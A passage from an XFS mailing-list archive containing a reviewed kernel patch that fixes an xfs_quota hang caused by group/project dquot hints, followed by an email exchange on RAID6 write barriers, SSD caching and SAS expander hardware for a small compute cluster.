(flags & XFS_QMOPT_UQUOTA) >>>> + return xfs_qm_dqpurge(dqp, NULL); >>> >>> To me it doesn't make any sense to overload this function for the user >>> quotas that don't have hints. >> To me it would like a silly compromise. >>> >>> I'd suggest dropping this hunk and keeping a separate walk for >>> releasing the uquots. >> I thought this over and yup, that is an overload if neither group nor project >> are enabled, or we don't want to turn user quota off. >> >> But even so, we currently also have overloads by checking group/project hints >> before releasing any type of quota in xfs_qm_purge(). In this point, this fix >> can reduce a bit overloads by moving those checkups to xfs_qm_purge_hints() if >> we want to turn group/project quotas off. >> >> If we considering to drop above hunk to release user quota separately, we finally >> would have to walk through user quota to remove those hints again, i.e, >> >> /* Remove group/project hints from user dquot */ >> STATIC int >> xfs_qm_dqpurge_hints( >> struct xfs_dquot *dqp, >> void *data) >> { >> uint flags = *((uint *)data); >> struct xfs_dquot *gdqp; >> struct xfs_dquot *pdqp; >> >> xfs_dqlock(dqp); >> if (dqp->dq_flags & XFS_DQ_FREEING) { >> xfs_dqunlock(dqp); >> return EAGAIN; >> } >> >> /* If this quota has a hint attached, prepare for releasing it now */ >> gdqp = dqp->q_gdquot; >> if (gdqp) >> dqp->q_gdquot = NULL; >> >> pdqp = dqp->q_pdquot; >> if (pdqp) >> dqp->q_pdquot = NULL; >> >> xfs_dqunlock(dqp); >> >> if (gdqp) >> xfs_qm_dqrele(gdqp); >> if (pdqp) >> xfs_qm_dqrele(pdqp); >> >> return 0; >> } >> >> void >> xfs_qm_dqpurge_all() >> { >> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge_hints, NULL); >> >> if (flags & XFS_QMOPT_UQUOTA) >> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge, NULL); >> if (flags & XFS_QMOPT_GQUOTA) >> xfs_qm_dquot_walk(mp, XFS_DQ_GROUP, xfs_qm_dqpurge, NULL); >> if (flags & XFS_QMOPT_PQUOTA) >> xfs_qm_dquot_walk(mp, XFS_DQ_PROJ, xfs_qm_dqpurge, NULL); >> } >> >> Above code is what I can figured out as per your suggestions for now, but it >> would introduce overheads for walking through user dquots to release hints >> separately if we want to turn user quota off. >> >> Any thoughts? > > I was gonna pull in the single walk version, but now I realize that it is still > under discussion. I'm happy with either implementation, with maybe a slight > preference for a single user quota walk. Can you and Christoph come to an > agreement? For now, I can not figure out a more optimized solution. Well, I just realized I don't need to initialize both gdqp and pdqp to NULL at xfs_qm_dqpurge_hints() since they will be evaluated by dqp pointers dereference anyway. As a minor fix, the revised version was shown as follows. Christoph, as I mentioned previously, keeping a separate walk to release the user dquots would also have overloads in some cases, would you happy to have this fix although it is not most optimized? Also, Ben, would you please pull in another fix below? It is independent to the current fix and it has already been reviewed by Christoph. :) [PATCH v2 1/3] xfs: fix assertion failure at xfs_setattr_nonsize Thanks, -Jeff From: Jie Liu xfs_quota(8) will hang up if trying to turn group/project quota off before the user quota is off, this could be 100% reproduced by: # mount -ouquota,gquota /dev/sda7 /xfs # mkdir /xfs/test # xfs_quota -xc 'off -g' /xfs <-- hangs up # echo w > /proc/sysrq-trigger # dmesg SysRq : Show Blocked State task PC stack pid father xfs_quota D 0000000000000000 0 27574 2551 0x00000000 [snip] Call Trace: [] schedule+0xad/0xc0 [] schedule_timeout+0x35e/0x3c0 [] ? mark_held_locks+0x176/0x1c0 [] ? call_timer_fn+0x2c0/0x2c0 [] ? xfs_qm_shrink_count+0x30/0x30 [xfs] [] schedule_timeout_uninterruptible+0x26/0x30 [] xfs_qm_dquot_walk+0x235/0x260 [xfs] [] ? xfs_perag_get+0x1d8/0x2d0 [xfs] [] ? xfs_perag_get+0x5/0x2d0 [xfs] [] ? xfs_inode_ag_iterator+0xae/0xf0 [xfs] [] ? xfs_trans_free_dqinfo+0x50/0x50 [xfs] [] ? xfs_inode_ag_iterator+0xcf/0xf0 [xfs] [] xfs_qm_dqpurge_all+0x66/0xb0 [xfs] [] xfs_qm_scall_quotaoff+0x20a/0x5f0 [xfs] [] xfs_fs_set_xstate+0x136/0x180 [xfs] [] do_quotactl+0x53a/0x6b0 [] ? iput+0x5b/0x90 [] SyS_quotactl+0x167/0x1d0 [] ? trace_hardirqs_on_thunk+0x3a/0x3f [] system_call_fastpath+0x16/0x1b It's fine if we turn user quota off at first, then turn off other kind of quotas if they are enabled since the group/project dquot refcount is decreased to zero once the user quota if off. Otherwise, those dquots refcount is non-zero due to the user dquot might refer to them as hint(s). Hence, above operation cause an infinite loop at xfs_qm_dquot_walk() while trying to purge dquot cache. This problem has been around since Linux 3.4, it was introduced by: [ b84a3a9675 xfs: remove the per-filesystem list of dquots ] Originally we will release the group dquot pointers because the user dquots maybe carrying around as a hint via xfs_qm_detach_gdquots(). However, with above change, there is no such work to be done before purging group/project dquot cache. In order to solve this problem, this patch introduces a special routine xfs_qm_dqpurge_hints(), and it would release the group/project dquot pointers the user dquots maybe carrying around as a hint, and then it will proceed to purge the user dquot cache if requested. Cc: stable@vger.kernel.org Signed-off-by: Jie Liu --- fs/xfs/xfs_qm.c | 71 ++++++++++++++++++++++++++++++++++++++++----------------- 1 file changed, 50 insertions(+), 21 deletions(-) diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 14a4996..424ef73 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -134,8 +134,6 @@ xfs_qm_dqpurge( { struct xfs_mount *mp = dqp->q_mount; struct xfs_quotainfo *qi = mp->m_quotainfo; - struct xfs_dquot *gdqp = NULL; - struct xfs_dquot *pdqp = NULL; xfs_dqlock(dqp); if ((dqp->dq_flags & XFS_DQ_FREEING) || dqp->q_nrefs != 0) { @@ -143,21 +141,6 @@ xfs_qm_dqpurge( return EAGAIN; } - /* - * If this quota has a hint attached, prepare for releasing it now. - */ - gdqp = dqp->q_gdquot; - if (gdqp) { - xfs_dqlock(gdqp); - dqp->q_gdquot = NULL; - } - - pdqp = dqp->q_pdquot; - if (pdqp) { - xfs_dqlock(pdqp); - dqp->q_pdquot = NULL; - } - dqp->dq_flags |= XFS_DQ_FREEING; xfs_dqflock(dqp); @@ -206,11 +189,47 @@ xfs_qm_dqpurge( XFS_STATS_DEC(xs_qm_dquot_unused); xfs_qm_dqdestroy(dqp); + return 0; +} + +/* + * Release the group or project dquot pointers the user dquots maybe carrying + * around as a hint, and proceed to purge the user dquot cache if requested. +*/ +STATIC int +xfs_qm_dqpurge_hints( + struct xfs_dquot *dqp, + void *data) +{ + uint flags = *((uint *)data); + struct xfs_dquot *gdqp; + struct xfs_dquot *pdqp; + xfs_dqlock(dqp); + if (dqp->dq_flags & XFS_DQ_FREEING) { + xfs_dqunlock(dqp); + return EAGAIN; + } + + /* If this quota has a hint attached, prepare for releasing it now */ + gdqp = dqp->q_gdquot; if (gdqp) - xfs_qm_dqput(gdqp); + dqp->q_gdquot = NULL; + + pdqp = dqp->q_pdquot; if (pdqp) - xfs_qm_dqput(pdqp); + dqp->q_pdquot = NULL; + + xfs_dqunlock(dqp); + + if (gdqp) + xfs_qm_dqrele(gdqp); + if (pdqp) + xfs_qm_dqrele(pdqp); + + if (flags & XFS_QMOPT_UQUOTA) + return xfs_qm_dqpurge(dqp, NULL); + return 0; } @@ -222,8 +241,18 @@ xfs_qm_dqpurge_all( struct xfs_mount *mp, uint flags) { - if (flags & XFS_QMOPT_UQUOTA) - xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge, NULL); + /* + * We have to release group/project dquot hint(s) from the user dquot + * at first if they are there, otherwise we would run into an infinite + * loop while walking through radix tree to purge other type of dquots + * since their refcount is not zero if the user dquot refers to them + * as hint. + * + * Call the special xfs_qm_dqpurge_hints() will end up go through the + * general xfs_qm_dqpurge() against user dquot cache if requested. + */ + xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge_hints, &flags); + if (flags & XFS_QMOPT_GQUOTA) xfs_qm_dquot_walk(mp, XFS_DQ_GROUP, xfs_qm_dqpurge, NULL); if (flags & XFS_QMOPT_PQUOTA) -- 1.8.3.2 From stan@hardwarefreak.com Sat Dec 7 05:12:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9B63D7F78 for ; Sat, 7 Dec 2013 05:12:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 34908AC008 for ; Sat, 7 Dec 2013 03:12:55 -0800 (PST) X-ASG-Debug-ID: 1386414763-04bdf01323badd0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id x4h1H2MWnkpdfzHK for ; Sat, 07 Dec 2013 03:12:44 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 930906C0CE; Sat, 7 Dec 2013 05:12:43 -0600 (CST) Message-ID: <52A302A9.9050509@hardwarefreak.com> Date: Sat, 07 Dec 2013 05:12:41 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Mike Dacre CC: "xfs@oss.sgi.com" Subject: Re: Fwd: Sudden File System Corruption References: <52A03513.6030408@hardwarefreak.com> <52A191BA.20800@hardwarefreak.com> X-ASG-Orig-Subj: Re: Fwd: Sudden File System Corruption In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1386414763 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/6/2013 4:14 PM, Mike Dacre wrote: > On Fri, Dec 6, 2013 at 12:58 AM, Stan Hoeppner wrote: ... > UUID=a58bf1db-0d64-4a2d-8e03-aad78dbebcbe /science xfs > defaults,inode64 1 0 Your RAID card has persistent write cache (BBWC) and we know it's enabled from tool your output. By default XFS assumes BBWC is not present, and uses write barriers to ensure order/consistency. Using barriers on top of BBWC will be detrimental to write performance, for a couple of reasons: 1. Prevents the controller from optimizing writeback patterns 2. A portion, or all of, the write cache is frequently flushed Add 'nobarrier' to your mount options to avoid this problem. It should speed up many, if not all, write operations considerably, which will in turn decrease seek contention amongst jobs. Currently your write cache isn't working nearly as well as it should, and in fact could be operating horribly. > On the slave nodes, I managed to reduce the demand on the disks by adding > the actimeo=60 mount option. Prior to doing this I would sometimes see the > disk being negatively affected by enormous numbers of getattr requests. > Here is the fstab mount on the nodes: > > 192.168.2.1:/science /science nfs > defaults,vers=3,nofail,actimeo=60,bg,hard,intr,rw 0 0 One minute attribute cache lifetime seems maybe a little high for a compute cluster. But if you've had no ill effects and it squelched the getattr flood this is good. ... > Correct, I am not consciously aligning the XFS to the RAID geometry, I > actually didn't know that was possible. XFS alignment is not something to worry about in this case. ... >> So it's a small compute cluster using NFS over Infiniband for shared >> file access to a low performance RAID6 array. The IO resource sharing >> is automatic. But AFAIK there's no easy way to enforce IO quotas on >> users or processes, if at all. You may simply not have sufficient IO to >> go around. Let's ponder that. > > I have tried a few things to improve IO allocation. BetterLinux have a > cgroup control suite that allow on-the-fly user-level IO adjustments, > however I found them to be quite cumbersome. This isn't going to work well because a tiny IO stream can seek the disks to death, such as a complex find command, ls -R, etc. A single command such as these can generate thousands of seeks. Shaping/limiting user IO won't affect this. ... >> Looking at the math, you currently have approximately 14*150=2100 >> seeks/sec capability with 14x 7.2k RPM data spindles. That's less than >> 100 seeks/sec per compute node, i.e. each node is getting about 2/3rd of >> the performance of a single SATA disk from this array. This simply >> isn't sufficient for servicing a 23 node cluster, unless all workloads >> are compute bound, and none IO/seek bound. Given the overload/crash >> that brought you to our attention, I'd say some of your workloads are >> obviously IO/seek bound. I'd say you probably need more/faster disks. >> Or you need to identify which jobs are IO/seek heavy and schedule them >> so they're not running concurrently. > > Yes, this is a problem. We sadly lack the resources to do much better than > this, we have recently been adding extra storage by just chaining together > USB3 drives with RAID and LVM... which is cumbersome and slow, but cheaper. USB disk is generally a recipe for disaster. Plenty of horror stories on both this list and linux-raid regarding USB connected drives, enclosures, etc. I pray you don't run into those problems. > My current solution is to be on the alert for high IO jobs, and to move > them to a specific torque queue that limits the number of concurrent jobs. > This works, but I have not found a way to do it automatically. > Thankfully, with a 12 member lab, it is actually not terribly complex to > handle, but I would definitely prefer a more comprehensive solution. I > don't doubt that the huge IO and seek demands we put on these disks will > cause more problems in the future. Your LSI 9260 controller supports using SSDs for read/write flash cache. LSI charges $279 for it. It's called CacheCade Pro: http://www.lsi.com/products/raid-controllers/pages/megaraid-cachecade-pro-software.aspx. Connect two good quality fast SSDs to the controller, such as: http://www.newegg.com/Product/Product.aspx?Item=N82E16820147192 Two SSDs, mirrored, to prevent cached writes from being lost if a single SSD fails. You now have a ~90K IOPS, 128GB, 500MB/s low latency read/write cache in front of your RAID6 array. This should go a long way toward eliminating your bottlenecks. You can accomplish this for ~$550 assuming you have two backplane drive slots free for the SSDs. If not, you add one of these for $279: http://www.newegg.com/Product/Product.aspx?Item=N82E16816117207 This is an Intel 24 port SAS expander, the same device as in your drive backplane. SAS expanders can be daisy chained many deep. You can drop it into a PCIe x4 or greater slot from which it only draws power--no data pins are connected. Or if no slots are available you can mount it to the side wall of your rack server chassis and power it via the 4 pin Molex plug. This requires a drill, brass or plastic standoffs, and DIY skills. I use this option as it provides a solid mount for un/plugging the SAS cables, and being side mounted neither it nor the cables interfere with airflow. You'll plug the 9260-4i into one port of the Intel expander. You'll need another SFF-8087 cable for this: http://www.newegg.com/Product/Product.aspx?Item=N82E16812652015 You will plug your drive backplane cable into another of the 6 SFF-8087 ports on the Intel. Into a 3rd port you will plug an SFF-8087 breakout cable to give you 4 individual drive connections. You will plug two of these into your two SSDs. http://www.newegg.com/Product/Product.aspx?Item=N82E16816116097 If you have no internal 2.5/3.5" drive brackets free for the SSDs and you'd prefer not to drill (more) holes in the chassis to directly mount them or a new cage for them, simply use some heavy duty Velcro squares, 2" is fine. Worst case scenario you're looking at less than $1000 to cure your IO bottlenecks, or at the very least mitigate them to a minor annoyance instead of a show stopper. And if you free up some money for some external JBODs and drives in the future, you can route 2 of the unused SFF-8087 connectors of the Intel Expander out the back panel to attach expander JBOD enclosures, using one of these and 2 more of the 8087 cables up above: http://www.ebay.com/itm/8-Port-SAS-SATA-6G-Dual-SFF-8088-mini-SAS-to-SFF-8087-PCIe-Adapter-w-LP-Bracket-/390508767029 I'm sure someone makes a 3 port model but 10 minutes of searching didn't turn one up. These panel adapters are application specific. Most are made to be mounted in a disk enclosure where the HBA/RAID card is on the outside of the chassis, on the other end of the 8088 cable. This two port model is designed to be inside a server chassis, where the HBA connects to the internal 8087 ports. Think Ethernet x-over cable. The 9260-4i supports up to 128 drives. This Intel expander and a panel connector allow you to get there with external JBODs. The only caveat being that you're limited to "only" 4.8 GB/s to/from all the disks. -- Stan From mike.dacre@gmail.com Sat Dec 7 12:37:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 826637F7B for ; Sat, 7 Dec 2013 12:37:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2E1D2AC002 for ; Sat, 7 Dec 2013 10:37:44 -0800 (PST) X-ASG-Debug-ID: 1386441442-04bdf01321cefa0001-NocioJ Received: from mail-qa0-f45.google.com (mail-qa0-f45.google.com [209.85.216.45]) by cuda.sgi.com with ESMTP id 6XhLyaF5Qwj4gYmE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 07 Dec 2013 10:37:25 -0800 (PST) X-Barracuda-Envelope-From: mike.dacre@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.45 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.45] Received: by mail-qa0-f45.google.com with SMTP id o15so1512084qap.11 for ; Sat, 07 Dec 2013 10:37:22 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.45] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.45] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=IC1/odMsQ642XuVm3MmaYmfhxa3JBQoCrj6oCrFiEfQ=; b=VZhFh006lfKEtImnJOMV6u0LU8zoo6xtuSfKRJvNmTwBU73CkgPlSwOLidlqpwnmfJ iu3So1OhVFMB2d9NQKevx+D5DddslGtNuEWOQEALS/ZpWv9+6cHMRt1QYCQhJA4PL/ky UdkjkUYIfY/rew0rfqI5uvbfbjFF5P9cWt+/ONnXZROrmUpCFe9+sbZBlrZeED25oYKD 2lshb+vDCdaS/imIxqXlcQQXa5WMTQYdNhrJ3eDPfBYh+pEynLpzr5bRZDHp9/gWpQuw GOP4QNT6iLGIW1GwXzHovjr+xXtM9o+tf35VTHfdV1WxTIbRDV+eIzslibkzJiE1stkM e76w== X-Received: by 10.224.89.73 with SMTP id d9mr19345180qam.5.1386441441231; Sat, 07 Dec 2013 10:37:21 -0800 (PST) MIME-Version: 1.0 Received: by 10.229.185.9 with HTTP; Sat, 7 Dec 2013 10:36:41 -0800 (PST) In-Reply-To: <52A302A9.9050509@hardwarefreak.com> References: <52A03513.6030408@hardwarefreak.com> <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> From: Mike Dacre Date: Sat, 7 Dec 2013 10:36:41 -0800 Message-ID: Subject: Re: Fwd: Sudden File System Corruption To: stan@hardwarefreak.com X-ASG-Orig-Subj: Re: Fwd: Sudden File System Corruption Cc: "xfs@oss.sgi.com" Content-Type: multipart/alternative; boundary=001a11c3ce549b4a2504ecf60d8d X-Barracuda-Connect: mail-qa0-f45.google.com[209.85.216.45] X-Barracuda-Start-Time: 1386441445 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142915 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c3ce549b4a2504ecf60d8d Content-Type: text/plain; charset=UTF-8 On Sat, Dec 7, 2013 at 3:12 AM, Stan Hoeppner wrote: > On 12/6/2013 4:14 PM, Mike Dacre wrote: > > On Fri, Dec 6, 2013 at 12:58 AM, Stan Hoeppner >wrote: > ... > > UUID=a58bf1db-0d64-4a2d-8e03-aad78dbebcbe /science xfs > > defaults,inode64 1 0 > > Your RAID card has persistent write cache (BBWC) and we know it's > enabled from tool your output. By default XFS assumes BBWC is not > present, and uses write barriers to ensure order/consistency. Using > barriers on top of BBWC will be detrimental to write performance, for a > couple of reasons: > > 1. Prevents the controller from optimizing writeback patterns > 2. A portion, or all of, the write cache is frequently flushed > > Add 'nobarrier' to your mount options to avoid this problem. It should > speed up many, if not all, write operations considerably, which will in > turn decrease seek contention amongst jobs. Currently your write cache > isn't working nearly as well as it should, and in fact could be > operating horribly. > > > On the slave nodes, I managed to reduce the demand on the disks by adding > > the actimeo=60 mount option. Prior to doing this I would sometimes see > the > > disk being negatively affected by enormous numbers of getattr requests. > > Here is the fstab mount on the nodes: > > > > 192.168.2.1:/science /science nfs > > defaults,vers=3,nofail,actimeo=60,bg,hard,intr,rw 0 0 > > One minute attribute cache lifetime seems maybe a little high for a > compute cluster. But if you've had no ill effects and it squelched the > getattr flood this is good. > > ... > > Correct, I am not consciously aligning the XFS to the RAID geometry, I > > actually didn't know that was possible. > > XFS alignment is not something to worry about in this case. > > ... > >> So it's a small compute cluster using NFS over Infiniband for shared > >> file access to a low performance RAID6 array. The IO resource sharing > >> is automatic. But AFAIK there's no easy way to enforce IO quotas on > >> users or processes, if at all. You may simply not have sufficient IO to > >> go around. Let's ponder that. > > > > I have tried a few things to improve IO allocation. BetterLinux have a > > cgroup control suite that allow on-the-fly user-level IO adjustments, > > however I found them to be quite cumbersome. > > This isn't going to work well because a tiny IO stream can seek the > disks to death, such as a complex find command, ls -R, etc. A single > command such as these can generate thousands of seeks. Shaping/limiting > user IO won't affect this. > > ... > >> Looking at the math, you currently have approximately 14*150=2100 > >> seeks/sec capability with 14x 7.2k RPM data spindles. That's less than > >> 100 seeks/sec per compute node, i.e. each node is getting about 2/3rd of > >> the performance of a single SATA disk from this array. This simply > >> isn't sufficient for servicing a 23 node cluster, unless all workloads > >> are compute bound, and none IO/seek bound. Given the overload/crash > >> that brought you to our attention, I'd say some of your workloads are > >> obviously IO/seek bound. I'd say you probably need more/faster disks. > >> Or you need to identify which jobs are IO/seek heavy and schedule them > >> so they're not running concurrently. > > > > Yes, this is a problem. We sadly lack the resources to do much better > than > > this, we have recently been adding extra storage by just chaining > together > > USB3 drives with RAID and LVM... which is cumbersome and slow, but > cheaper. > > USB disk is generally a recipe for disaster. Plenty of horror stories > on both this list and linux-raid regarding USB connected drives, > enclosures, etc. I pray you don't run into those problems. > > > My current solution is to be on the alert for high IO jobs, and to move > > them to a specific torque queue that limits the number of concurrent > jobs. > > This works, but I have not found a way to do it automatically. > > Thankfully, with a 12 member lab, it is actually not terribly complex to > > handle, but I would definitely prefer a more comprehensive solution. I > > don't doubt that the huge IO and seek demands we put on these disks will > > cause more problems in the future. > > Your LSI 9260 controller supports using SSDs for read/write flash cache. > LSI charges $279 for it. It's called CacheCade Pro: > > > http://www.lsi.com/products/raid-controllers/pages/megaraid-cachecade-pro-software.aspx > . > > > Connect two good quality fast SSDs to the controller, such as: > http://www.newegg.com/Product/Product.aspx?Item=N82E16820147192 > > Two SSDs, mirrored, to prevent cached writes from being lost if a single > SSD fails. You now have a ~90K IOPS, 128GB, 500MB/s low latency > read/write cache in front of your RAID6 array. This should go a long > way toward eliminating your bottlenecks. You can accomplish this for > ~$550 assuming you have two backplane drive slots free for the SSDs. If > not, you add one of these for $279: > > http://www.newegg.com/Product/Product.aspx?Item=N82E16816117207 > > This is an Intel 24 port SAS expander, the same device as in your drive > backplane. SAS expanders can be daisy chained many deep. You can drop > it into a PCIe x4 or greater slot from which it only draws power--no > data pins are connected. Or if no slots are available you can mount it > to the side wall of your rack server chassis and power it via the 4 pin > Molex plug. This requires a drill, brass or plastic standoffs, and DIY > skills. I use this option as it provides a solid mount for un/plugging > the SAS cables, and being side mounted neither it nor the cables > interfere with airflow. > > You'll plug the 9260-4i into one port of the Intel expander. You'll > need another SFF-8087 cable for this: > > http://www.newegg.com/Product/Product.aspx?Item=N82E16812652015 > > You will plug your drive backplane cable into another of the 6 SFF-8087 > ports on the Intel. Into a 3rd port you will plug an SFF-8087 breakout > cable to give you 4 individual drive connections. You will plug two of > these into your two SSDs. > > http://www.newegg.com/Product/Product.aspx?Item=N82E16816116097 > > If you have no internal 2.5/3.5" drive brackets free for the SSDs and > you'd prefer not to drill (more) holes in the chassis to directly mount > them or a new cage for them, simply use some heavy duty Velcro squares, > 2" is fine. > > Worst case scenario you're looking at less than $1000 to cure your IO > bottlenecks, or at the very least mitigate them to a minor annoyance > instead of a show stopper. And if you free up some money for some > external JBODs and drives in the future, you can route 2 of the unused > SFF-8087 connectors of the Intel Expander out the back panel to attach > expander JBOD enclosures, using one of these and 2 more of the 8087 > cables up above: > > > http://www.ebay.com/itm/8-Port-SAS-SATA-6G-Dual-SFF-8088-mini-SAS-to-SFF-8087-PCIe-Adapter-w-LP-Bracket-/390508767029 > > I'm sure someone makes a 3 port model but 10 minutes of searching didn't > turn one up. These panel adapters are application specific. Most are > made to be mounted in a disk enclosure where the HBA/RAID card is on the > outside of the chassis, on the other end of the 8088 cable. This two > port model is designed to be inside a server chassis, where the HBA > connects to the internal 8087 ports. Think Ethernet x-over cable. > > The 9260-4i supports up to 128 drives. This Intel expander and a panel > connector allow you to get there with external JBODs. The only caveat > being that you're limited to "only" 4.8 GB/s to/from all the disks. > > -- > Stan > Hi Stan, Thanks for the great advice, I think you are on to something there. I will look into doing this in the next week or so when I have more time. I added 'nobarrier' to my mount options. Thanks again, I will let you know how it goes after I have upgraded. Best, Mike --001a11c3ce549b4a2504ecf60d8d Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable
On S= at, Dec 7, 2013 at 3:12 AM, Stan Hoeppner <stan@hardwarefreak.com= > wrote:
On 12/6/2013 4:14 PM, Mike= Dacre wrote:
> On Fri, Dec 6, 2013 at 12:58 AM, Stan Hoeppner <stan@hardwarefreak.com>wrote:
...
> UUID=3Da58bf1db-0d64-4a2d-8e03-aad78dbebcbe /science= =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0xfs
> defaults,inode64 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A01 0

Your RAID card has persistent write cache (BBWC) and we know it's=
enabled from tool your output. =C2=A0By default XFS assumes BBWC is not
present, and uses write barriers to ensure order/consistency. =C2=A0 Using<= br> barriers on top of BBWC will be detrimental to write performance, for a
couple of reasons:

1. =C2=A0Prevents the controller from optimizing writeback patterns
2. =C2=A0A portion, or all of, the write cache is frequently flushed

Add 'nobarrier' to your mount options to avoid this problem. =C2=A0= It should
speed up many, if not all, write operations considerably, which will in
turn decrease seek contention amongst jobs. =C2=A0Currently your write cach= e
isn't working nearly as well as it should, and in fact could be
operating horribly.

> On the slave nodes, I managed to reduce the demand on the disks by add= ing
> the actimeo=3D60 mount option. =C2=A0Prior to doing this I would somet= imes see the
> disk being negatively affected by enormous numbers of getattr requests= .
> =C2=A0Here is the fstab mount on the nodes:
>
> 192.168.2.1:/science =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 = =C2=A0 =C2=A0 =C2=A0 =C2=A0/science =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0nfs
> defaults,vers=3D3,nofail,actimeo=3D60,bg,hard,intr,rw =C2=A00 0

One minute attribute cache lifetime seems maybe a little high for a compute cluster. =C2=A0But if you've had no ill effects and it squelche= d the
getattr flood this is good.

...
> Correct, I am not consciously aligning the XFS to th= e RAID geometry, I
> actually didn't know that was possible.

XFS alignment is not something to worry about in this case.

...
>> So it's a small compute cluster using NFS ov= er Infiniband for shared
>> file access to a low performance RAID6 array. =C2=A0The IO resourc= e sharing
>> is automatic. =C2=A0But AFAIK there's no easy way to enforce I= O quotas on
>> users or processes, if at all. =C2=A0You may simply not have suffi= cient IO to
>> go around. =C2=A0Let's ponder that.
>
> I have tried a few things to improve IO allocation. =C2=A0BetterLinux = have a
> cgroup control suite that allow on-the-fly user-level IO adjustments,<= br> > however I found them to be quite cumbersome.

This isn't going to work well because a tiny IO stream can seek t= he
disks to death, such as a complex find command, ls -R, etc. =C2=A0A single<= br> command such as these can generate thousands of seeks. =C2=A0Shaping/limiti= ng
user IO won't affect this.

...
>> Looking at the math, you currently have approxim= ately 14*150=3D2100
>> seeks/sec capability with 14x 7.2k RPM data spindles. =C2=A0That&#= 39;s less than
>> 100 seeks/sec per compute node, i.e. each node is getting about 2/= 3rd of
>> the performance of a single SATA disk from this array. =C2=A0This = simply
>> isn't sufficient for servicing a 23 node cluster, unless all w= orkloads
>> are compute bound, and none IO/seek bound. =C2=A0Given the overloa= d/crash
>> that brought you to our attention, I'd say some of your worklo= ads are
>> obviously IO/seek bound. =C2=A0I'd say you probably need more/= faster disks.
>> Or you need to identify which jobs are IO/seek heavy and schedule = them
>> so they're not running concurrently.
>
> Yes, this is a problem. =C2=A0We sadly lack the resources to do much b= etter than
> this, we have recently been adding extra storage by just chaining toge= ther
> USB3 drives with RAID and LVM... which is cumbersome and slow, but che= aper.

USB disk is generally a recipe for disaster. =C2=A0Plenty of horror s= tories
on both this list and linux-raid regarding USB connected drives,
enclosures, etc. =C2=A0I pray you don't run into those problems.

> My current solution is to be on the alert for high IO jobs, and to mov= e
> them to a specific torque queue that limits the number of concurrent j= obs.
